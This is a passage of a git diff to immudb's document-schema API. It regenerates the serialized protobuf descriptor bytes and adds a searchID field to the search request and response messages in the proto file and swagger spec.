0x6d, 0x65, 0x6e, 0x74, 0x50, - 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, - 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, - 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, 0x64, + 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x9c, 0x01, 0x0a, 0x0d, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, - 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, - 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, - 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, - 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, - 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, - 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, + 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, + 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, + 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x2e, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, - 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, - 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, - 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa9, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x30, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x31, + 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, + 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, - 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, - 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, - 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, - 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, - 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, - 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, - 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa9, 0x01, + 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x31, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, + 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, + 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, + 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, + 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, + 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, + 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, + 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, + 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, + 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, + 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x33, } var ( diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 1447fb5a71..43d0352446 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -99,10 +99,12 @@ message DocumentSearchRequest { repeated DocumentQuery query = 2; uint32 page = 3; uint32 perPage = 4; + string searchID = 5; } message DocumentSearchResponse { repeated google.protobuf.Struct results = 1; + string searchID = 2; } message DocumentProofRequest { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 65ef6928cf..8a9ef3a551 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -623,6 +623,9 @@ "perPage": { "type": "integer", "format": "int64" + }, + "searchID": { + "type": "string" } } }, @@ -634,6 +637,9 @@ 